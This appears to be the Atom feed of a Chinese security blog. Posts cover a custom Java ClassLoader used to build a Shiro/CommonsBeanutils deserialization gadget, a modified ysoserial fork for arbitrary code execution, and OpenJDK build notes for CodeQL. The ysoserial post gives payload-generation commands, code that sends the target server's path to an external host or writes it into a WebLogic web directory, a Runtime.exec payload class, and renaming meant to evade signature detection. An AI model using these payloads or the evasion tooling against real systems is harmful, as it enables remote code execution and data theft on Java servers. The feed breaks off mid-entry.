<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>像清水一般清澈透明</title>
  
  
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://summersec.github.io/"/>
  <updated>2021-09-26T01:28:30.856Z</updated>
  <id>https://summersec.github.io/</id>
  
  <author>
    <name>SummerSec</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>自定义 ClassLoader 隔离运行不同版本jar包的方式</title>
    <link href="https://summersec.github.io/2021/09/10/%E8%87%AA%E5%AE%9A%E4%B9%89%20ClassLoader%20%E9%9A%94%E7%A6%BB%E8%BF%90%E8%A1%8C%E4%B8%8D%E5%90%8C%E7%89%88%E6%9C%ACjar%E5%8C%85%E7%9A%84%E6%96%B9%E5%BC%8F/"/>
    <id>https://summersec.github.io/2021/09/10/%E8%87%AA%E5%AE%9A%E4%B9%89%20ClassLoader%20%E9%9A%94%E7%A6%BB%E8%BF%90%E8%A1%8C%E4%B8%8D%E5%90%8C%E7%89%88%E6%9C%ACjar%E5%8C%85%E7%9A%84%E6%96%B9%E5%BC%8F/</id>
    <published>2021-09-10T15:01:42.000Z</published>
    <updated>2021-09-26T01:28:30.856Z</updated>
    
    <content type="html"><![CDATA[<p><a name="GFg7v"></a></p><h2 id="类加载机制"><a href="#类加载机制" class="headerlink" title="类加载机制"></a>类加载机制</h2><p><br>在 Java 中，所有的类默认通过 ClassLoader 加载，而 Java 默认提供了三层的 ClassLoader，并通过双亲委托模型的原则进行加载，其基本模型与加载位置如下（更多ClassLoader相关原理请自行搜索）：<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1631522331629-059c2803-e871-4e1b-b789-867016cc3aa0.png#clientId=uddf5c606-17d3-4&amp;from=paste&amp;height=312&amp;id=u4d4cab36&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=624&amp;originWidth=844&amp;originalType=binary&amp;ratio=1&amp;size=473812&amp;status=done&amp;style=none&amp;taskId=u7c80a53f-39ed-46c5-978d-650270a88ea&amp;width=422" alt="image.png"><br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1631522779059-f590770a-0e57-4f58-828b-196599082321.png#clientId=uddf5c606-17d3-4&amp;from=paste&amp;height=444&amp;id=ub611a47d&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=888&amp;originWidth=796&amp;originalType=binary&amp;ratio=1&amp;size=339218&amp;status=done&amp;style=none&amp;taskId=u41f24527-571c-48b8-b6e3-c39cc63b606&amp;width=398" alt="image.png"><br>Java 中默认的 ClassLoader 都规定了其指定的加载目录，一般也不会通过 JVM 参数来使其加载自定义的目录，所以我们需要自定义一个 ClassLoader 来加载装有不同版本的 jar 包的扩展目录，同时为了使运行扩展的 jar 包时，与启动项目实现绝对的隔离，我们需要保证他们所加载的类不会有相同的 ClassLoader，根据双亲委托模型的原理可知，我们必须使自定义的 ClassLoader 的 parent 为 null，这样不管是 JRE 自带的 jar 包或一些基础的 Class 都不会委托给 App ClassLoader（当然仅仅是将 Parent 设置为 null 是不够的，后面会说明）。与此同时这些实现了不同版本的 jar 包，是经过二次开发后的可以独立运行的项目。<br>​<br></p><hr><p><a name="hXL8W"></a></p><h2 id="实现代码"><a href="#实现代码" class="headerlink" title="实现代码"></a>实现代码</h2><br><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">StandardExecutorClassLoader</span> <span class="keyword">extends</span> <span class="title">URLClassLoader</span> </span>{</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">static</span> String baseDir = System.getProperty(<span class="string">"user.dir"</span>) + File.separator + <span class="string">"lib"</span> + File.separator;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">StandardExecutorClassLoader</span><span class="params">(String version)</span> </span>{</span><br><span class="line">        <span class="comment">// 将 Parent 设置为 null</span></span><br><span class="line">        <span class="keyword">super</span>(<span class="keyword">new</span> URL[] {}, <span class="keyword">null</span>);</span><br><span class="line"></span><br><span class="line">        loadResource(version);</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Class&lt;?&gt; loadClass(String name) <span class="keyword">throws</span> ClassNotFoundException {</span><br><span class="line">        <span class="comment">// 测试时可打印看一下</span></span><br><span class="line">       <span class="comment">// System.out.println("Class loader: " + name);</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">super</span>.loadClass(name);</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> Class&lt;?&gt; findClass(String name) <span class="keyword">throws</span> ClassNotFoundException {</span><br><span class="line">        <span class="keyword">try</span> {</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">super</span>.findClass(name);</span><br><span class="line">        } <span class="keyword">catch</span>(ClassNotFoundException e) {</span><br><span class="line">            <span class="keyword">return</span> StandardExecutorClassLoader<span class="class">.<span class="keyword">class</span>.<span class="title">getClassLoader</span>().<span class="title">loadClass</span>(<span class="title">name</span>)</span>;</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">loadResource</span><span class="params">(String version)</span> </span>{</span><br><span class="line">        String jarPath = baseDir + version;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 加载对应版本目录下的 Jar 包</span></span><br><span class="line">        tryLoadJarInDir(jarPath);</span><br><span class="line">        <span class="comment">// 加载对应版本目录下的 lib 目录下的 Jar 包</span></span><br><span class="line">        tryLoadJarInDir(jarPath + File.separator + <span class="string">"lib"</span>);</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">tryLoadJarInDir</span><span class="params">(String dirPath)</span> </span>{</span><br><span class="line">        File dir = <span class="keyword">new</span> File(dirPath);</span><br><span class="line">        <span class="comment">// 自动加载目录下的jar包</span></span><br><span class="line">        <span class="keyword">if</span> (dir.exists() &amp;&amp; dir.isDirectory()) {</span><br><span class="line">            <span class="keyword">for</span> (File file : dir.listFiles()) {</span><br><span class="line">                <span class="keyword">if</span> (file.isFile() &amp;&amp; file.getName().endsWith(<span class="string">".jar"</span>)) {</span><br><span class="line">                    <span class="keyword">this</span>.addURL(file);</span><br><span class="line">                    <span class="keyword">continue</span>;</span><br><span class="line">                }</span><br><span class="line">            }</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">addURL</span><span class="params">(File file)</span> </span>{</span><br><span class="line">        <span class="keyword">try</span> {</span><br><span class="line">            <span class="keyword">super</span>.addURL(<span class="keyword">new</span> URL(<span class="string">"file"</span>, <span class="keyword">null</span>, file.getCanonicalPath()));</span><br><span class="line">        } <span class="keyword">catch</span> (MalformedURLException e) {</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1631522862533-35573751-0a98-40f3-9474-3b446afc9ab7.png#clientId=uddf5c606-17d3-4&amp;from=paste&amp;height=344&amp;id=u0eb681c1&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=688&amp;originWidth=1781&amp;originalType=binary&amp;ratio=1&amp;size=1298654&amp;status=done&amp;style=none&amp;taskId=u6cd3d2a8-940d-4564-bb84-f02cbbbcd5f&amp;width=890.5" alt="image.png"><br>​</p><br><hr><p><a name="PmJxM"></a></p><h2 id="Shiro反序列化漏洞实现"><a href="#Shiro反序列化漏洞实现" class="headerlink" title="Shiro反序列化漏洞实现"></a>Shiro反序列化漏洞实现</h2><p><br>​<br></p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CommonsBeanutils1_192</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span> </span>{</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span><span class="params">(Object templates)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line">        StandardExecutorClassLoader classLoader = <span class="keyword">new</span> StandardExecutorClassLoader(<span class="string">"1.9.2"</span>);</span><br><span class="line">        Class u = classLoader.loadClass(<span class="string">"org.apache.commons.beanutils.BeanComparator"</span>);</span><br><span class="line"></span><br><span class="line">        Object beanComparator = u.getDeclaredConstructor(String.class).newInstance("lowestSetBit");</span><br><span class="line">        PriorityQueue&lt;Object&gt; queue = <span class="keyword">new</span> PriorityQueue(<span class="number">2</span>, (Comparator&lt;? <span class="keyword">super</span> Object&gt;)beanComparator);</span><br><span class="line"></span><br><span class="line">        queue.add(<span class="keyword">new</span> BigInteger(<span class="string">"1"</span>));</span><br><span class="line">        queue.add(<span class="keyword">new</span> BigInteger(<span class="string">"1"</span>));</span><br><span class="line"></span><br><span class="line">        Reflections.setFieldValue(beanComparator, <span class="string">"property"</span>, <span class="string">"outputProperties"</span>);</span><br><span class="line"></span><br><span class="line">        Object[] queueArray = (Object[])Reflections.getFieldValue(queue, <span class="string">"queue"</span>);</span><br><span class="line">        queueArray[<span class="number">0</span>] = templates;</span><br><span class="line">        queueArray[<span class="number">1</span>] = templates;</span><br><span class="line">        <span class="keyword">return</span> queue;</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><br><hr><p><a name="P8waP"></a></p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><br><a href="https://blog.csdn.net/t894690230/article/details/73252331" target="_blank" rel="noopener">https://blog.csdn.net/t894690230/article/details/73252331</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;&lt;a name=&quot;GFg7v&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;类加载机制&quot;&gt;&lt;a href=&quot;#类加载机制&quot; class=&quot;headerlink&quot; title=&quot;类加载机制&quot;&gt;&lt;/a&gt;类加载机制&lt;/h2&gt;&lt;p&gt;&lt;br&gt;在 Java 中，所有的类默认通过 ClassLoa
      
    
    </summary>
    
    
      <category term="Java" scheme="https://summersec.github.io/categories/Java/"/>
    
    
  </entry>
  
  <entry>
    <title>修改ysoserial使其支持任意代码执行</title>
    <link href="https://summersec.github.io/2021/08/30/%E4%BF%AE%E6%94%B9ysoserial%E4%BD%BF%E5%85%B6%E6%94%AF%E6%8C%81%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/"/>
    <id>https://summersec.github.io/2021/08/30/%E4%BF%AE%E6%94%B9ysoserial%E4%BD%BF%E5%85%B6%E6%94%AF%E6%8C%81%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/</id>
    <published>2021-08-30T15:01:42.000Z</published>
    <updated>2021-09-26T01:27:50.187Z</updated>
    
    <content type="html"><![CDATA[<p><a name="j3NGb"></a></p><h2 id="减小payload的体积"><a href="#减小payload的体积" class="headerlink" title="减小payload的体积"></a>减小payload的体积</h2><p>根据文章<a href="https://xz.aliyun.com/t/6227" target="_blank" rel="noopener">缩小ysoserial payload体积的几个方法</a>最大程度上减小生成payload的体积，对比结果直接减小一半多。<br><br><br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1631244926488-7912ad37-1463-47df-8753-2a34e095b530.png#clientId=uf1b35ec6-de74-4&amp;from=paste&amp;height=389&amp;id=u714d59c0&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=778&amp;originWidth=1084&amp;originalType=binary&amp;ratio=1&amp;size=84209&amp;status=done&amp;style=none&amp;taskId=u78e6b284-b1dc-4e7d-ab14-fb0ef5a7951&amp;width=542" alt="image.png"><br></p><hr><p><a name="NpS7g"></a></p><h2 id="支持自定义方法，类"><a href="#支持自定义方法，类" class="headerlink" title="支持自定义方法，类"></a>支持自定义方法，类</h2><p>参考<a href="https://www.yuque.com/tianxiadamutou/zcfd4v/ffd33r" target="_blank" rel="noopener">ysoserial 工具改造（一）</a>和<a href="https://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/" target="_blank" rel="noopener">使ysoserial支持执行自定义代码</a>方法将生成payload方法进行改造。<br>我这边添加了五种方式</p><table><thead><tr><th>序号</th><th>方式</th><th>描述</th></tr></thead><tbody><tr><td>1</td><td>command</td><td>与原版相同</td></tr><tr><td>2</td><td>“code:代码内容”</td><td>代码量比较少时采用</td></tr><tr><td>3</td><td>“codebase64:代码内容base64编码”</td><td>防止代码中存在但引号，双引号，&amp;等字符与控制台命令冲突。</td></tr><tr><td>4</td><td>“codefile:代码文件路径”</td><td>代码量比较多时采用</td></tr><tr><td>5</td><td>“classfile:class路径“</td><td>利用已生成好的 class 直接获取其字节码</td></tr></tbody></table><p>支持下面这些gadget<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1631502534202-fe85135d-9fb9-4ae8-b458-3bbc8f95d985.png#clientId=uc27b2396-9430-4&amp;from=paste&amp;height=335&amp;id=u2cf0c021&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=670&amp;originWidth=523&amp;originalType=binary&amp;ratio=1&amp;size=370133&amp;status=done&amp;style=none&amp;taskId=uefd0bddf-0b09-4b79-a720-c1a43ed94bb&amp;width=261.5" alt="image.png"><br></p><p><a name="Cl1vV"></a></p><h3 id="codebase64、codefile-、code三种命令介绍"><a href="#codebase64、codefile-、code三种命令介绍" class="headerlink" title="codebase64、codefile:、code三种命令介绍"></a>codebase64、codefile:、code三种命令介绍</h3><p><br>三个命令使用方法参考，codefile:是code比较多的时候。</p><figure class="highlight"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar dogeser-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 code:calc</span><br></pre></td></tr></tbody></table></figure><figure class="highlight"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">String HOST = "http://192.168.149.1:1665";</span><br><span class="line">String WEB_PATH = System.getProperty("user.dir");</span><br><span class="line"></span><br><span class="line">String str_url = HOST + "/?info=" + WEB_PATH;</span><br><span class="line"><span class="attribute">try{</span></span><br><span class="line">    //若目标能访问我们的服务器，则发送信息到服务器上</span><br><span class="line">    java.net.URL url = new java.net.URL(str_url);</span><br><span class="line">    java.net.URLConnection conn = url.openConnection();</span><br><span class="line">    conn.connect();</span><br><span class="line">    conn.getContent();</span><br><span class="line">}catch(Exception e){</span><br><span class="line">    //若目标不能访问我们的服务器，则将信息写到自己的web目录下info.log文件中</span><br><span class="line">    String webPath = WEB_PATH + "/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/info.log";</span><br><span class="line">    try {</span><br><span class="line">        java.io.FileOutputStream f1 = new java.io.FileOutputStream(webPath);</span><br><span class="line">        f1.write(WEB_PATH.getBytes());</span><br><span class="line">        f1.close();</span><br><span class="line">    } catch (Exception e1) {</span><br><span class="line">        e1.printStackTrace();</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><figure class="highlight"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar dogeser-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 codefile:Calc.java</span><br></pre></td></tr></tbody></table></figure><p><br><a href="https://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/#0x04-%E6%A1%88%E4%BE%8B" target="_blank" rel="noopener">案例</a><br></p><p><a name="tdtvd"></a></p><h3 id="classfile："><a href="#classfile：" class="headerlink" title="classfile："></a>classfile：</h3><p>类需要继承AbstractTranslet <br>需要区分xalan\xalan\2.7.2\xalan-2.7.2.jar!\org\apache\xalan\xsltc\runtime\AbstractTranslet.class<br>这里需要的是<strong>jdk内置的AbstractTranslet</strong><br>以弹计算器为例</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar dogeser-<span class="number">0.0</span><span class="number">.8</span>-SNAPSHOT-all.jar CommonsBeanutils1 classfile:G:\Calc<span class="class">.<span class="keyword">class</span>&gt;2.<span class="title">ser</span></span></span><br></pre></td></tr></tbody></table></figure><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@ClassName</span>: Calc</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: TODO</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Author</span>: Summer</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Date</span>: 2021/9/10 16:16</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Version</span>: v1.0.0</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>:</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Calc</span> <span class="keyword">extends</span> <span class="title">AbstractTranslet</span> </span>{</span><br><span class="line">    <span class="function"><span class="keyword">public</span>  <span class="title">Calc</span><span class="params">()</span> </span>{}</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException </span>{</span><br><span class="line"></span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> {</span><br><span class="line">        <span class="keyword">try</span> {</span><br><span class="line">            Runtime.getRuntime().exec(<span class="string">"calc"</span>);</span><br><span class="line">        } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">transform</span><span class="params">(DOM dom, SerializationHandler[] serializationHandlers)</span> <span class="keyword">throws</span> TransletException </span>{</span><br><span class="line"></span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p><a name="JdVPn"></a></p><h2 id=""><a href="#" class="headerlink" title=""></a></h2><p><a name="OwDmu"></a></p><h3 id="去掉原版绝大数特征"><a href="#去掉原版绝大数特征" class="headerlink" title="去掉原版绝大数特征"></a>去掉原版绝大数特征</h3><p> 原版大量使用ysoserial、Pwer字段，去除后效果。改掉原版package名字换成dogeser，生成的payload的就不会出现ysoserial字段。<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1631504404395-0100e4a7-1c66-4f94-abdb-fbac5b0127ad.png#clientId=ubd4936a1-aa27-4&amp;from=paste&amp;height=394&amp;id=u462f9b99&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=788&amp;originWidth=1343&amp;originalType=binary&amp;ratio=1&amp;size=2057952&amp;status=done&amp;style=none&amp;taskId=u301a0a90-6d18-4b2f-aa3c-e6805475c9c&amp;width=671.5" alt="image.png"><br>​</p><br><a name="BhyYj"></a>## <a name="UvO1B"></a>## 参考<p><br><a href="https://xz.aliyun.com/t/6227" target="_blank" rel="noopener">https://xz.aliyun.com/t/6227</a><br><a href="https://www.yuque.com/tianxiadamutou/zcfd4v/ffd33r" target="_blank" rel="noopener">https://www.yuque.com/tianxiadamutou/zcfd4v/ffd33r</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;&lt;a name=&quot;j3NGb&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;减小payload的体积&quot;&gt;&lt;a href=&quot;#减小payload的体积&quot; class=&quot;headerlink&quot; title=&quot;减小payload的体积&quot;&gt;&lt;/a&gt;减小payload的体积&lt;/h2&gt;&lt;p&gt;根据
      
    
    </summary>
    
    
      <category term="Java" scheme="https://summersec.github.io/categories/Java/"/>
    
    
  </entry>
  
  <entry>
    <title>CodeQL Create OpenJdk/Jdk8 Database</title>
    <link href="https://summersec.github.io/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/"/>
    <id>https://summersec.github.io/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/</id>
    <published>2021-08-18T15:01:42.000Z</published>
    <updated>2021-08-21T05:59:53.559Z</updated>
    
    <content type="html"><![CDATA[<p>sudo apt install   mercurial<br>hg clone <a href="http://hg.openjdk.java.net/jdk8/jdk8" target="_blank" rel="noopener">http://hg.openjdk.java.net/jdk8/jdk8</a> jdk8u<br>cd jdk8u<br>chmod 777 ./*<br>wget <a href="https://download.java.net/openjdk/jdk7u75/ri/jdk_ri-7u75-b13-linux-x64-18_dec_2014.tar.gz" target="_blank" rel="noopener">https://download.java.net/openjdk/jdk7u75/ri/jdk_ri-7u75-b13-linux-x64-18_dec_2014.tar.gz</a><br>tar xvf jdk_ri-7u75-b13-linux-x64-18_dec_2014.tar.gz<br> ./configure –with-target-bits=64 –with-jvm-variants=server –with-debug-level=slowdebug –disable-zip-debug-info –with-boot-jdk=/your-pwd/soft/java-se-7u75-ri/  –with-memory-size=1024<br>参数解释:</p><p>–with-target-bits=64: 构建64的JDK</p><p>–with-jvm-variants=server :构建server模式的JDK</p><p>–with-debug-level=slowdebug: slowdebug带有更多的调试信息</p><p> –disable-zip-debug-info：禁止压缩调试信息，可以方便调试</p><p>–with-boot-jdk=/export/soft/java-se-7u75-ri/ ：表示boot jdk的路径，就是刚才下载的jdk7的路径<br><strong><code>--with-memory-size=1024 表示1GB</code></strong></p><p><em>sudo apt-get install libx11-dev libxext-dev libxrender-dev libxtst-dev libxt-dev</em></p><p>./get_source.sh</p><p>等待几分钟，时间可能需要很久<br>在运行 ./configure ，运行的过程需要的依赖很多，依次安装就好了。<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629340424496-25e58c64-8bd5-4a55-bdc4-9e4a05bdfe59.png#align=left&amp;display=inline&amp;height=64&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=128&amp;originWidth=1323&amp;size=35523&amp;status=done&amp;style=none&amp;width=661.5" alt="image.png"><br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629340475845-1d4faba2-a461-433f-a6ad-1bced28c15be.png#align=left&amp;display=inline&amp;height=34&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=68&amp;originWidth=1365&amp;size=23859&amp;status=done&amp;style=none&amp;width=682.5" alt="image.png"></p><p>vi hotspot/make/linux/makefiles/adjust-mflags.sh</p><p><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629348478929-3a15db35-a65e-45f1-a401-3c41ae2da5aa.png#align=left&amp;display=inline&amp;height=797&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=797&amp;originWidth=1343&amp;size=2106630&amp;status=done&amp;style=none&amp;width=1343" alt="image.png"></p><p>gcc的版本过高<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629346886579-6eacfe9f-9d92-4f27-b813-b0b6272f0894.png#align=left&amp;display=inline&amp;height=98&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=196&amp;originWidth=1411&amp;size=45645&amp;status=done&amp;style=none&amp;width=705.5" alt="image.png"><br>安装gcc和g++ 4.9版本</p><p>修改apt源：</p><p>sudo vi /etc/apt/sources.list</p><p>添加以下内容到文件末尾：</p><p>#install gcc 4.9</p><p>deb <a href="http://dk.archive.ubuntu.com/ubuntu/" target="_blank" rel="noopener">http://dk.archive.ubuntu.com/ubuntu/</a> xenial main</p><p>deb <a href="http://dk.archive.ubuntu.com/ubuntu/" target="_blank" rel="noopener">http://dk.archive.ubuntu.com/ubuntu/</a> xenial universe</p><p>更新源：</p><p>sudo apt-get update</p><p>安装4.9版本：</p><p>sudo apt install gcc-4.9</p><p>sudo apt install g++-4.9</p><p>管理多版本gcc：</p><p>sudo update-alternatives –install /usr/bin/gcc gcc /usr/bin/gcc-7 50<br>sudo update-alternatives –install /usr/bin/g++ g++ /usr/bin/g++-7 50<br>sudo update-alternatives –install /usr/bin/gcc gcc /usr/bin/gcc-4.9 20<br>sudo update-alternatives –install /usr/bin/g++ g++ /usr/bin/g++-4.9 20</p><p>切换到4.9版本：</p><p>sudo update-alternatives –config gcc<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629348643557-1d0b13aa-6b79-446d-93b1-009254eaf96a.png#align=left&amp;display=inline&amp;height=392&amp;margin=%5Bobject%20Object%5D&amp;originHeight=392&amp;originWidth=1838&amp;size=0&amp;status=done&amp;style=none&amp;width=1838" alt=""></p><p>sudo update-alternatives –config g++<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629348652101-749aa117-a777-4321-9cbd-d9dea84244f1.png#align=left&amp;display=inline&amp;height=446&amp;margin=%5Bobject%20Object%5D&amp;originHeight=446&amp;originWidth=1954&amp;size=0&amp;status=done&amp;style=none&amp;width=1954" alt=""></p><p>注意：切换完gcc的版本后需要重新运行之前命令</p><p>sh ./configure –with-target-bits=64 –with-jvm-variants=server –with-debug-level=slowdebug –disable-zip-debug-info –with-boot-jdk=/export/soft/java-se-7u75-ri/</p><p>再执行<br>vi hotspot/make/linux/makefiles/gcc.make<br>注释掉如下这行<br><img 